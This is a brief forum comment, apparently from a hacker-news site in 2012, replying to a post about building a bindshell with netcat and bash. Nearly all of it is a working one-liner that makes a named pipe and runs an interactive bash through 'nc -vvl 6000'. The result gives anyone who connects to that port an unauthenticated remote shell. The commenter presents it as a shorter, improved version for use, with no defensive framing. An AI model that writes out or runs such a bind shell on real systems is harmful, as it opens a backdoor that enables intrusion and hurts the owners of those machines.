News for hackers. Stuff that matters.
Re:Bindshell using only netcat & bash by pwg on Thursday April 26, 2012 @11:54PM (#3897446)
You can almost cut your netcat+bash bindshell one-liner in half if you change how you handle the if clause:

if [[ ! -p /tmp/mypipe ]]; then mkfifo /tmp/mypipe ; fi && cat /tmp/mypipe|/bin/bash -i 2>&1|nc -vvl 6000 >/tmp/mypipe